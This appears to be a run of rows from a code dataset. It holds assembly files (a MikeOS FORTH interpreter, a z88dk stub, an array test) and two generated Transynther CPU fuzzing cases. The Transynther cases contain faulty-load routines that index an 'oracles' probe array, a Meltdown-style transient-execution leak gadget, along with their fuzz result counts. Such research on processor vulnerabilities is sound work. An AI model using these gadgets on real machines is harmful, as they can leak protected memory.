HEADING '+LOOP' ; ( a -- )
dw colon
dw cell, plus_loop, comma ; COMPILE +loop
dw comma, EXIT
IMMEDIATE
HEADING '/LOOP' ; ( a -- )
dw colon
dw cell, slant_loop, comma ; COMPILE /loop
dw comma, EXIT
; Miscellaneous
IMMEDIATE
HEADING 'DOES>'
dw colon
dw cell, sem_cod, comma ; COMPILE ;code
dw cell, 232, c_comma ; CALL does - leaves PFA on stack
dw cell, does - 2, HERE
dw minus, comma
dw EXIT
HEADING 'EMPTY' ; ( -- )
EMPTY: dw colon
dw FENCE, HEADS, bite
db 36
dw front_cmove
dw EXIT
; Updates HERE and HEADS, but not LAST
HEADING 'FORGET'
dw colon
dw blnk, cfa_word, CURRENT, c_fetch, HASH, FIND_WD ; ( na v -- na lfa,0 )
dw q_DUP, cfa_not, abortq
db 1,'?'
dw SWAP, DROP, cfa_dup ; (lfa lfa)
dw cell, goldh, fetch
dw u_less ; ( protected from deletion )
dw abortq
db 5,"Can't"
dw H, store ; new HERE = LFA
dw H, HEADS, two_to_r ; DO for 16 chains
fgt1:
dw eye, fetch
fgt2: ; BEGIN
dw cfa_dup, HERE, u_less
dw cfa_not, q_branch, fgt3 ; WHILE defined after this word, go down chain
dw fetch, do_branch, fgt2 ; REPEAT
fgt3:
dw eye, store, two, slant_loop, fgt1 ; /LOOP update top of chain, do next
dw EXIT
HEADING 'PROTECT' ; ( -- )
PROTECT: dw colon
dw HEADS, FENCE, bite
db 36
dw front_cmove
dw EXIT
HEADING 'STRING' ; ( -- )
STRING: dw colon
dw bite
db -2
dw ALLOT, bite
db '"'
dw cfa_word, c_fetch, two_plus
dw one_plus, ALLOT
dw EXIT
HEADING 'MSG'
dw colon
dw cfa_msg, STRING
dw EXIT
IMMEDIATE
HEADING 'ABORT"'
dw colon
dw STATE, fetch, q_branch, abtq1 ; IF ( -- ) compiling
dw cell, abortq, comma ; COMPILE abort" and put string into dictionary
dw STRING, do_branch, abtq3
abtq1:
dw bite ; ELSE ( f -- ), interpret must have flag
db '"'
dw cfa_word, SWAP, q_branch, abtq2 ; IF flag is true, print string and abort
dw COUNT, cfa_type, ABORT
dw do_branch, abtq3
abtq2: ; ELSE drop string address
dw DROP
abtq3: ; THEN THEN
dw EXIT
IMMEDIATE
HEADING '."'
dw colon
dw STATE, fetch, q_branch, dq1 ; IF compiling
dw cell, dotq, comma ; COMPILE ." and put string into dictionary
dw STRING, do_branch, dq2
dq1: ; ELSE print following string
dw bite
db '"'
dw cfa_word, COUNT, cfa_type
dq2: ; THEN
dw EXIT
HEADING '?' ; ( a -- )
question: dw colon
dw fetch, dot
dw EXIT
; Set operating bases
HEADING 'BASE!' ; ( n -- )
base_store: dw colon
dw cfa_dup, BASE, store
dw T_BASE, store
dw EXIT
HEADING '.BASE' ; ( -- >> print current base in decimal )
dw colon
dw BASE, fetch, cfa_dup, bite
db 10
dw BASE, store, dot
dw BASE, store
dw EXIT
HEADING 'DECIMAL'
DECIMAL: dw colon
dw bite
db 10
dw base_store
dw EXIT
HEADING 'HEX'
HEX: dw colon
dw bite
db 16
dw base_store
dw EXIT
HEADING 'OCTAL'
dw colon
dw bite
db 8
dw base_store
dw EXIT
HEADING 'BINARY'
dw colon
dw bite
db 2
dw base_store
dw EXIT
IMMEDIATE
HEADING '$'
dw colon
dw bite
db 16
dw T_BASE, store
dw EXIT
IMMEDIATE
HEADING 'Q'
dw colon
dw bite
db 8
dw T_BASE, store
dw EXIT
IMMEDIATE
HEADING '%'
dw colon
dw bite
db 2
dw T_BASE, store
dw EXIT
IMMEDIATE
HEADING '('
dw colon
dw bite
db ')'
dw cfa_word, DROP
dw EXIT
; String operators, help with Screen Editor
HEADING '-MATCH' ; ( a n s n -- a t )
dw $ + 2
pop dx
pop ax
pop cx
pop di
PUSH bx
push si
mov bx,ax
MOV al,[bx]
DEC dx
SUB cx,dx
jle mat3
INC bx
mat1:
REP scasb
jne mat3 ; 1st match
push cx
push di
MOV si,bx
mov cx,dx
REP CMPSB
je mat2
pop di ; No match
pop cx
JMP mat1
mat2:
pop ax ; Match
pop ax
sub ax,ax
mat3:
pop si
pop bx
push di
push ax
NEXT
HEADING '?PRINTABLE' ; ( c -- f,t=printable )
q_PRINTABLE: dw colon
dw dclit
db spc, '~'+1
dw WITHIN
dw EXIT
IMMEDIATE
HEADING '\'
dw colon
dw bite
db cr
dw cfa_word, DROP
dw EXIT
; Vocabulary lists
HEADING 'H-LIST' ; ( n -- )
hlist: dw colon
dw two_times, HEADS, plus_fetch ; ( list head )
dw CR
hlst1: ; BEGIN
dw q_DUP, q_branch, hlst3 ; WHILE
dw cfa_dup, id_dot, fetch
dw get_cursor, bite ; test column
db 64
dw greater, q_branch, hlst2 ; IF
dw CR
hlst2: ; THEN
dw DROP ; drop row/line
dw do_branch, hlst1 ; REPEAT
hlst3:
dw EXIT
; Headerless, only used by WORDS below
; returns highest lfa contained in copy of HEADS at PAD
MAX_HEADER: dw colon ; ( -- index max.lfa )
dw zero_dot
dw B_HDR, zero, two_to_r
mh1:
dw cfa_dup, PAD, eye, plus_fetch
dw u_less, q_branch ; ( new max lfa )
dw mh2
dw two_drop, eye, PAD
dw eye, plus_fetch
mh2:
dw two, slant_loop
dw mh1
dw EXIT
HEADING 'VLIST' ; ( -- >> lists the words in the context vocabulary )
dw colon
dw HEADS, PAD, B_HDR ; copy HEADS to PAD
dw front_cmove, CR
wds1: ; BEGIN
dw MAX_HEADER, cfa_dup, q_branch ; WHILE a valid lfa exists at PAD
dw wds4
dw two_dup, two_plus ; ( index lfa index nfa )
dw CONTEXT, fetch, HASH ; just first vocab
dw SWAP, DROP ; ( index lfa index index' )
dw cfa_eq, q_branch ; IF in this vocab, display name
dw wds2
dw cfa_dup, id_dot
wds2: ; THEN
dw fetch, SWAP, PAD
dw plus, store ; update PAD, working header
dw get_cursor, bite
db 64
dw greater, q_branch ; IF near end of line, send new line
dw wds3
dw CR
wds3: ; THEN
dw DROP, do_branch
dw wds1
wds4: ; REPEAT
dw two_drop
dw EXIT
; Miscellaneous extensions
HEADING '.S'
dot_s: dw colon
dw q_STACK, DEPTH, CR, q_branch ; IF
dw dots2
dw sp_fetch, cell, stack0 - 4, two_to_r
dots1:
dw eye, fetch, u_dot, bite
db -2
dw slant_loop
dw dots1
dots2:
dw dotq
db dots3 - $ - 1
db ' <--Top '
dots3:
dw EXIT
HEADING 'LOWER>UPPER' ; ( k -- k' )
dw colon
dw cfa_dup, dclit
db 'a', 'z'+1
dw WITHIN, q_branch
dw l_u1
dw blnk, minus ; if lower case ASCII clear bit 5
l_u1:
dw EXIT
HEADING 'R-DEPTH'
dw $ + 2
MOV ax,first
SUB ax,bp
SHR ax,1
push ax
NEXT
HEADING 'R>S'
dw $ + 2
MOV cx,first
SUB cx,bp
shr cx,1
MOV ax,cx
rs1:
MOV di,cx
shl di,1
NEG di
ADD di,first
push word [di]
LOOP rs1
push ax
NEXT
HEADING 'DUMP' ; ( a n -- )
DUMP: dw colon
dw zero, two_to_r ; DO
du1:
dw eye, bite
db 15
dw cfa_and, cfa_not, q_branch ; IF, new line
dw du2
dw CR, cfa_dup, eye, plus, bite
db 5
dw u_dot_r, SPACE
du2: ; THEN
dw eye, bite
db 7
dw cfa_and, cfa_not, q_branch ; IF, 3 more spaces
dw du3
dw bite
db 3
dw SPACES
du3: ; THEN
dw cfa_dup, eye
dw plus, c_fetch, bite
db 4
dw u_dot_r, do_loop
dw du1 ; LOOP
dw CR, DROP
dw EXIT
HEADING 'WDUMP' ; ( a n -- )
dw colon
dw zero, two_to_r
wdp1:
dw eye, bite
db 7
dw cfa_and, cfa_not, q_branch
dw wdp2
dw CR, cfa_dup, eye, two_times, plus, bite
db 5
dw u_dot_r, SPACE
wdp2:
dw cfa_dup, eye, two_times
dw plus_fetch, bite
db 7
dw u_dot_r, do_loop
dw wdp1
dw CR, DROP
dw EXIT
HEADING '.LINE' ; ( adr n -- )
dot_line: dw colon
dw to_r, PAD, eye, front_cmove
dw PAD, eye, zero, two_to_r
dln1:
dw cfa_dup, eye, plus, c_fetch, q_PRINTABLE
dw cfa_not, q_branch
dw dln2
dw bite
db 94
dw OVER, eye, plus, c_store
dln2:
dw do_loop
dw dln1
dw r_from, cfa_type
dw EXIT
HEADING 'A-DUMP' ; ( a n -- )
a_dump: dw colon
dw zero, two_to_r
ad1:
dw eye, bite
db 63
dw cfa_and, cfa_not, q_branch
dw ad2
dw CR, cfa_dup, eye, plus, bite
db 5
dw u_dot_r, bite
db 3
dw SPACES
ad2:
dw cfa_dup, eye, plus, bite
db 64
dw eye_prime, cfa_min, dot_line, bite
db 64
dw slant_loop
dw ad1
dw CR, DROP
dw EXIT
IMMEDIATE
HEADING 'ASCII' ; ( -- n )
dw colon
dw blnk, cfa_word, one_plus
dw c_fetch ; ( ASCII value of next word )
dw STATE, fetch
dw STAY, LITERAL
dw EXIT
HEADING '?MEM' ; ( -- left )
dw colon
dw sp_fetch, PAD
dw two_plus, minus
dw EXIT
msec: dw $ + 2
mov al,06 ; latch counter 0
out 43h,al
in al,40h
mov dl,al
in al,40h
mov dh,al
sub dx,2366 ; (1193.2 - 10 setup)*2/msec
ms1:
mov al,06 ; latch counter 0
out 43h,al
in al,40h
mov cl,al
in al,40h
mov ch,al
sub cx,dx
cmp cx,12 ; uncertainty
ja ms1 ; U>
HEADING 'MS' ; ( n -- )
dw colon
dw zero, two_to_r
ms01:
dw msec, do_loop
dw ms01
dw EXIT
NEXT
; End of the dictionary (lfa) that will be retained (PROTECTED)
GOLDEN_LAST: ; dictionary 'protected' below this definition
addr_end: ; Used for EMPTY after startup
; Initial program entry and start up code
; If startup modified, modify the GEN.4th script
do_startup:
mov ax,cs ; init segments
mov ds,ax
mov es,ax
cli
mov dx,sp ; save original SP
mov cx,ss
mov ss,ax ; init stack
mov sp,stack0
sti
mov [ss_save],cx
mov [sp_save],dx
mov ah,0Fh ; get current display mode from BIOS
int 10h
sub dx,dx
mov dl,ah
mov [max_col],dx
mov dl,al
mov [_mode],dx
mov dl,bh
mov [_page],dx
push ds
mov ax,40h ; BIOS data segment, ah = 0
mov ds,ax
mov si,84h ; rows - 1
lodsb
inc ax
mov [es:max_rows],ax
mov si,17h ; caps lock on (most BIOS)
mov al,[si]
or al,40h
mov [si],al
pop ds
call os_get_api_version
mov ah,al
xor al,al
mov [dver1],ax
mov al,'a' ; get/save current disk
mov [path1],al
xor ax,ax ; set current directory
mov [path2],ax
push es
xor ax,ax ; get current, set new div 0 vector
mov es,ax ; interrupt segment and offset = 0
mov di,ax
mov bx,[es:di]
mov dx,[es:di+2]
mov [d_off],bx
mov [d_seg],dx
mov bx,div_0
mov dx,ds
mov [es:di],bx
mov [es:di+2],dx
pop es
mov bp,first ; R at end of mem - see r_reset
sub ax,ax ; Top of parameter stack (for underflow)
push ax
MOV si, start_forth ; forward reference, may be modified when new GEN.4th
NEXT ; goto FORTH start, begin following pointers
; When generating a new file, VERSION may be FORGOTTEN and new created
; Set address of new start_forth in above script
LAST_HERE: ; Last definition that will be 'remembered' (with a header)
HEADING 'VERSION'
VERSION: dw colon
dw dotq
db vr01 - $ - 1
db 'V1.5.1, 2011/01/15 '
vr01:
dw EXIT
; Break a long, single chain of definitions into separate hash lists
; Generate can save modified dictionary for faster startup
N_HASH: dw colon ; create hash lists
dw PAD, B_HDR, ERASE ; temporary buffer for pointers
dw cell, LAST_HERE, cfa_dup ; set last link field to VERSION
dw LAST, store
nh1: ; BEGIN ( lfa )
dw q_DUP, q_branch, nh05 ; WHILE not start of dictionary
dw cfa_dup, fetch, SWAP
dw zero, OVER, store ; set chain end, just in case
dw cfa_dup, l_to_nfa, bite
db VOC ; ( lfa' lfa nfa v )
dw HASH, SWAP, DROP ; ( lfa' lfa lnk )
dw cfa_dup, HEADS, plus_fetch
dw cfa_not, q_branch, nh2 ; set end of normal chain IF not already
dw two_dup, HEADS, plus, store
nh2: ; THEN
dw two_dup, FENCE, plus_fetch, cfa_not
dw SWAP, cell, GOLDEN_LAST + 1
dw u_less, cfa_and
dw q_branch, nh03 ; set end of GOLDEN chain IF not already
dw two_dup, FENCE, plus, store
nh03: ; THEN
dw PAD, plus, cfa_dup, fetch ; update individual chains
dw q_branch, nh04 ; IF not first, update chain
; ( lfa' lfa padx )
dw two_dup, fetch, store
nh04: ; THEN
dw store ; update pad buffer
dw do_branch, nh1 ; REPEAT
nh05:
dw EXIT
; High level Start-up
; Headerless. Will be FORGOTTEN. GEN.4th must create a replacement
start_forth:
dw CR, CR, dotq
db sf01 - $ - 1
db 'Copyright (C) 2014 MikeOS Developers -- see doc/LICENSE.TXT'
sf01:
dw CR, dotq
db sf02 - $ - 1
db 'FORTH version '
sf02:
dw VERSION
dw CR, dotq
db sf03 - $ - 1
db 'DOS version '
sf03:
dw D_VER, one_plus, c_fetch, zero, st_num
dw add_num, add_num, cell, 46, HOLD, two_drop
dw D_VER, c_fetch, zero, nums, nd_num, cfa_type
dw CR, PATH, dot_az
dw CR, OK, CR
dw N_HASH
dw ABORT ; no print on abort
very_end: dw 0, 0
| 20.979958 | 91 | 0.541776 |
eb28bd21b1929d8647bf7b5521c2b9525255ea02 | 143 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/poly_callee.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/poly_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/poly_callee.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_math16
PUBLIC _polyf16_callee
EXTERN cm16_sdcc_poly_callee
defc _polyf16_callee = cm16_sdcc_poly_callee
| 20.428571 | 51 | 0.762238 |
3cee55a6f66fb232261f18a3bded1dc431496104 | 7,040 | asm | Assembly | Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_21829_1019.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_21829_1019.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_st_zr_sm_/i7-7700_9_0x48.log_21829_1019.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x13ba, %rsi
lea addresses_UC_ht+0x1962a, %rdi
inc %r12
mov $27, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rbx, %rbx
lea addresses_WC_ht+0x1c99b, %rsi
lea addresses_A_ht+0x12eba, %rdi
nop
nop
nop
nop
xor $61497, %r15
mov $118, %rcx
rep movsw
nop
nop
nop
nop
and $64635, %r12
lea addresses_A_ht+0x16ffa, %r15
nop
nop
nop
nop
and %rdi, %rdi
mov (%r15), %ebx
nop
and %rcx, %rcx
lea addresses_D_ht+0x19e23, %rcx
nop
nop
nop
nop
and %rdi, %rdi
vmovups (%rcx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %r15
nop
inc %rbx
lea addresses_normal_ht+0xd9ba, %rcx
nop
add $8475, %rdi
movl $0x61626364, (%rcx)
inc %r15
lea addresses_UC_ht+0x19a82, %rsi
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %r12
movq %r12, %xmm3
movups %xmm3, (%rsi)
add %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r8
push %r9
push %rbx
push %rdi
push %rdx
// Store
mov $0x639a3400000009ba, %rdx
nop
nop
nop
nop
nop
sub $56762, %r10
movw $0x5152, (%rdx)
nop
nop
nop
and %rdi, %rdi
// Store
mov $0x639a3400000009ba, %r9
nop
nop
nop
nop
nop
sub %rbx, %rbx
mov $0x5152535455565758, %r14
movq %r14, %xmm1
vmovntdq %ymm1, (%r9)
nop
nop
nop
and $36656, %rbx
// Store
lea addresses_normal+0x69ba, %rdx
nop
nop
nop
xor %r10, %r10
movb $0x51, (%rdx)
nop
xor $62719, %rbx
// Store
lea addresses_normal+0x14eba, %rbx
cmp %r9, %r9
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
vmovups %ymm1, (%rbx)
nop
nop
nop
nop
and $25234, %rdi
// Store
lea addresses_PSE+0x1dc7a, %r14
nop
nop
nop
nop
sub $36416, %rbx
movw $0x5152, (%r14)
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r10
nop
nop
nop
xor $2583, %rbx
// Store
lea addresses_RW+0x2604, %r14
clflush (%r14)
nop
nop
nop
nop
nop
cmp $22390, %r8
movw $0x5152, (%r14)
cmp $47102, %rdi
// Faulty Load
mov $0x639a3400000009ba, %r10
nop
nop
nop
nop
nop
inc %rdx
movb (%r10), %r8b
lea oracles, %rdi
and $0xff, %r8
shlq $12, %r8
mov (%rdi,%r8,1), %r8
pop %rdx
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'00': 380, '51': 21449}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 00 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 32.592593 | 2,999 | 0.654261 |
d8c820a91d1556b43ade042ce7a626809abff9d0 | 373 | asm | Assembly | test/test.Array.eachq.asm | richRemer/atlatl | 169c0c9c29d277dc1295e6c37b0963af6e02741a | [
"MIT"
] | null | null | null | test/test.Array.eachq.asm | richRemer/atlatl | 169c0c9c29d277dc1295e6c37b0963af6e02741a | [
"MIT"
] | null | null | null | test/test.Array.eachq.asm | richRemer/atlatl | 169c0c9c29d277dc1295e6c37b0963af6e02741a | [
"MIT"
] | null | null | null | global test_case
extern Array.eachq
extern std.outqln
%include "Array.inc"
section .text
test_case:
mov rbx, std.outqln ; function to call
lea rax, [test_arr] ; array
call Array.eachq
ret
section .data
test_arr_data: dq 0x0102030405060708
test_arr:
istruc Array
at Array.pdata, dq test_arr_data
at Array.length, dq 1
iend
| 16.217391 | 46 | 0.686327 |
506bac570d08b94811201400427fa1109c821b19 | 4,616 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_715.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_715.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_715.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x11ee4, %r10
xor $1370, %rdi
movups (%r10), %xmm7
vpextrq $1, %xmm7, %r11
cmp $14380, %rbp
lea addresses_normal_ht+0x19ae4, %rsi
lea addresses_WT_ht+0x10164, %rdi
nop
nop
and $26473, %rbx
mov $90, %rcx
rep movsl
nop
nop
add %r11, %r11
lea addresses_A_ht+0x1720f, %rcx
nop
sub %rbp, %rbp
mov (%rcx), %r10w
nop
dec %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %rbp
push %rbx
push %rsi
// Faulty Load
lea addresses_RW+0x14ee4, %rbx
nop
nop
nop
nop
cmp %rbp, %rbp
vmovups (%rbx), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
lea oracles, %r11
and $0xff, %rsi
shlq $12, %rsi
mov (%r11,%rsi,1), %rsi
pop %rsi
pop %rbx
pop %rbp
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 